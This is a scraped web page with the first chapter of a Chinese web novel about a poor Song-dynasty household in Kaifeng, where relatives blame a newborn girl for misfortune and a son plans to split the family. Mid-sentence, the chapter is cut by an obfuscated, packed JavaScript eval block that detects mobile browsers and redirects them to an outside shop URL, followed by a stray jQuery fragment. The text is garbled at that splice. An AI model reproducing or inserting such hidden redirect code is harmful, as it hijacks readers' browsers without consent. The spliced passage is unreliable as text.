文趣网 > 其他小说 > 北宋市井人家 > 1. 第 1 章
    ‘灯光照天,永绝蚊蚋’说得就是汴京城的马行街夜市,这处的繁华热闹,在整个汴京城都是排得上号的。

    冬日的寒风吹到了这头,也得教夜市里的灯火染上三分暖意。

    瓦舍内,嘌唱的伶人曲调婉转,寻欢的贵人豪掷缠头,好一副人间富贵景。

    只不过,这一切与马行街深处,大小货行巷子内纵横万数,低矮拥挤的坊巷院落没甚干系。

    坊巷深处的院落,挨挨挤挤,无论从哪面瞧,都是又窄又低。

    而这样的院落通常还要挤一大家子,是以,婴儿奶猫似的哭声虽小,可和着北风在这方窄院里撞来撞去,直教人心里躁得慌。

    “哭哭哭!日也哭,夜也哭!还让不让人睡了?”陆金花翻来覆去睡不着,不由出言抱怨。

    她话就是说给身边躺着的男人听的,可身边的人一动不动,像是没听见一样。

    婴儿的哭声还在耳边,陆金花瞧着身边默不作声的男人,心头火起,也顾不得冷风嗖嗖,起身推了他一把:“林有财,你是个死人啊!那夜吵儿哭成这样,老娘不信你睡得着!”

    “她才出生几天?那声音细得跟只奶猫似的,如何能影响你?”林有财闭着眼,翻过身去背对着自家媳妇儿。

    陆金花冷笑一声:“哦,没甚影响,你为何还醒着?”

    林有财一动不动。

    夫妻二十来年,枕边人是个什么模样陆金花能不晓得?

    若是心中当真毫无芥蒂,她开口抱怨的第一句话,林有财定会张口叱骂。

    眼珠子一转,陆金花换了语气:“当家的,不是我说,自打二弟那丫头出生后,咱家就没顺过,远的不说,就说咱娘。平日里多健壮一个人,怎的被风吹一吹就着了风寒发了热?这都好些日子了,还是不见好,至今还躺在炕上哩!”

    陆金花一边说,一边借着月色去打量自家男人,见他虽闭着眼不说话,可却没打断她……

    心中有数后,陆金花愈发有了底气,声儿大了些:“当然,我不是说那丫头有什么不好。实在是活了三十来年了,从没见过哪家的孩子像那丫头似的,成日哭个不停……”

    “要我说,别是有什么说法罢?”

    “胡说!能有什么说法?她投在了咱家,就是林家的孩子。自家孩子,难道还能冲着长辈不成?闭嘴!这话不许再说了!”

    听了丈夫的呵斥,陆金花不忧反喜,更深露重,她不再开口,麻溜地躺下。

    待听见隔壁屋子里传来老人的咳嗽声后,陆金花裹着被子,嘴角含笑,睡了过去。

    林家这屋子虽说有五间,可汴京城是甚地儿?

    寸土寸金的富贵地儿。

    林家这五间屋子又小又窄,巴掌大的院儿里挨挨挤挤住了十四口人,平日在自个儿屋子里拌个嘴一家子都晓得,更别说这更深露重,夜深人静的时候了。

    她敢打赌,他们两口子最后那两句话,住在隔壁屋子的公爹婆母定然听见了!

    陆金花料得不错,他俩的话被睡在隔壁的林家二老听了个清清楚楚。

    两人虽是甚都没说,只咳嗽了几声,可林婆子心里却不免犯嘀咕。

    她这一生育有二子四女,儿子都养住了,留在身边侍奉;前头的两个女儿也已嫁作他妇,三女儿没养住,家中只有最小的女儿芸娘还未嫁人。

    外孙不说,单是孙字辈,就有六人,她早过了稀罕孙子孙女儿的时候了,更别说,老二家这回生下来的,还是个女娘。

    这总让她想起先前没了的那个孙女儿,那也是老二家的……

    “别想了,睡罢。”

    黑暗中传来林老爹喑哑的声音,林婆子听了撇撇嘴,心里暗骂:死老头子!

    听见陆金花两口子话的,还有同样一墙之隔的林有安夫妻二人。

    李惠娘气得胸口疼,又还要顾忌着怀里好不容易才哄好的闺女儿,不敢有大动作,虽已被气得泪流满面,却愣是不敢出声儿。

    她和丈夫年近三十还能给家里添口人,这本是天大的喜事儿!

    可瞧瞧家里,丝毫不见有喜事儿的样子,反而处处不痛快;还有婆母,前儿说自个儿着了风寒,愣是躺在床上不肯起身,自吵吵儿出生,婆母瞧了一眼就走了。

    同住一个屋檐下,她高龄产子,身子不痛快,还要顾着吵吵儿,忙得心力交瘁,可家里从上到下,愣是无人伸手帮她一把……

    小儿落地,吃喝拉撒都得要人照顾,远的不说,就说吵吵儿换下来的尿戒子。

    不是大郎洗就是丈夫下工家来洗,冬日里本就无甚好天气,坊巷窄院位置不好,更是难有日光,小儿娇嫩,尿戒子还需烘干。

    有好几回,她瞧着丈夫在昏暗的屋子里烘尿戒子,心里只觉堵得慌。

    越想,李惠娘越觉着苦,眼泪簌簌往下掉。

    “莫哭莫哭,月子里可不能哭啊。”

    林有安抚着妻子瘦削的后背,轻声安慰,为了不吵着妻子怀中的女儿,他只得佝偻着腰凑近妻子耳边,尽量小声。

    清凌凌的月色照在这对夫妻身上,只叫人觉得可怜。

    李惠娘咬牙,带着哭腔道:“我娘先前包来的红糖还有,你明儿分些出来,拿给娘和大嫂……”

    “娘带来给你的,作甚分给旁人?”林有安拍拍妻子的背,又给她紧了紧身上的袄子,“大哥大嫂这是想分家,借着由头找事儿,自然是甚话都说得出口,你莫慌。”

    “分家?”这两个字儿一出,李惠娘先是一愣,可随即,心底却生出一丝隐秘地欢喜。

    若是当真能分家,那……

    林有安道:“分家,咱们这一房定会吃亏的……”

    “我不怕,这些年在大嫂那头吃得亏还不够多吗?”

    李惠娘脱口而出,随即反应过来,瞧着丈夫,面带羞赧,有些着急道:“不是,我不是不想侍奉公婆……

    “这有甚?我也早就想分家了。”林有安无奈笑笑,安抚妻子。

    要搁在前几年,分家这事,林有安是想都不敢想的:父母尚在而别籍异财,那可是要被拖去官府打板子的!

    可现在,朝廷收税的法子一改,官府‘同居共财’的态度便开始松动。

    近些年来,趁机分家的百姓不少,听说江南一带,父母在而兄弟分居的多达十之五六呢!

    “我原想着拖一拖……可瞧着如今这情况,还是早早撕撸开来的好。”

    林有安原想着等吵吵儿再大些,能养得住了,再筹谋分家之事,可这些日子他冷眼瞧着,父母已不止是偏心的问题了,竟像是有意嗟磨惠娘母女!

    今儿夜里大嫂说得那些话,惠娘暂且没听出来,可他听出来了:他们二人,嘴皮子上下一碰,竟是要让吵吵儿

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17886556|212566||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    这刚出生没几日的小儿背上‘克亲’之名!

    林有安气得直抖,又还要顾忌着妻儿,只得深吸了一口气,紧紧握拳,勉强压下心中的怒火。

    他宽慰道:“你莫急,此事我早有打算。吵吵儿离不得你,你更要保重身子才是,白日我不在家,你只管关起门来,无须理会他们。”

    “放心,万事有我。”

    有丈夫这句话,李惠娘心中一安,点点头,哄着怀中的小儿终于睡去。

    这一晚,林家众人心思各异,辗转反侧,整个儿林家,怕是只有挤在最边上的小儿们睡得香。

    翌日,天还未亮,林家院儿里便有了动静。

    人声、脚步声、锅碗瓢盆的声儿一响,最南边的屋子里,断断续续又响起婴儿细弱的哭声。

    打着哈欠挽发的陆金花听了这声儿,高高吊起的眉毛瞬间炸起,一团火堵在心头,她冷笑一声:“你听听,一大早的又开始!再这样哭下去,我这魂儿都要被她哭没了!”

    林有财自顾自穿鞋,不搭这茬,只在临出门时,道:“娘老是不见好,你往街上去买些好克化的吃食送过去。纸坊近来活计重,我和二郎不得闲,这几日便宿在纸坊那头。”

    马行街内纵横万数的窄院,住得或是有些手艺在身的匠人,或是开铺席摊子的小商贩,或是高楼正店里头做工的伙计。他们龟缩在深深窄窄的后巷里,却是撑起前头繁华喧嚣的街市里不可或缺的一部分。

    林家一家子都是手艺人。

    林老头原先是北外城纸坊里经年的老匠人,抄纸、晾晒无一不精,近些年虽因年岁大了退出来,可纸坊那头念着几分情面,还是教林家老大林有财带着他家二郎留在纸坊做工。

    林有财没甚天份,虽是打小就跟着林老头学造纸,可愣是不开窍。

    如今在纸坊也只能做些打浆的活计,偶尔,纸坊忙起来时,会唤他盯一盯烘晒的活儿。

    这对林有财来说,是个好机会!他必得好生显一显本事儿!

    若是能留在摊晒场专专负责晒纸,谁愿意去打浆?

    林有财今日还特意穿了新制的扞(hàn)腰,革带一裹,显得干练又精神。

    他出门前,盯着陆金花一字一句嘱咐道:“我近来事忙,爹娘那头,你多上心。其余的事儿,等我忙完再说。”

    陆金花在香水行做活,倒不需早早出门,先前二房两口子也都要出门上工,家里的朝食确实是她和小姑子负责,可现在家里不是有一个闲人了吗?如何还要她来侍弄朝食?

    张口刚想驳,可陆金花对上丈夫的眼神,心里突然明白了什么。

    忙堆起笑来:“我省得了!近来天气愈发冷了,我去给爹和娘端碗汤饼来吃!纸坊既忙,我待会儿也给爹说一说。”

    林有财满意了,点点头出门去。

    他出门时,正好撞见穿着一身旧衣,也要出门往油作坊上工的林有安。

    “大哥,早,去纸坊啊?”

    林有财点头,语气自然:“是,近来纸坊事多,得早些出门。”

    “大哥辛苦。”

    兄弟二人不冷不热地聊了两句便各自出门,一个往北,一个朝西,瞧着甚是生分。

    屋子里的林老爹整好瞧见这一幕,不禁皱眉:有财,有安兄弟俩,何时生分到这个地步了?

    瞧着竟不像是一家人似的。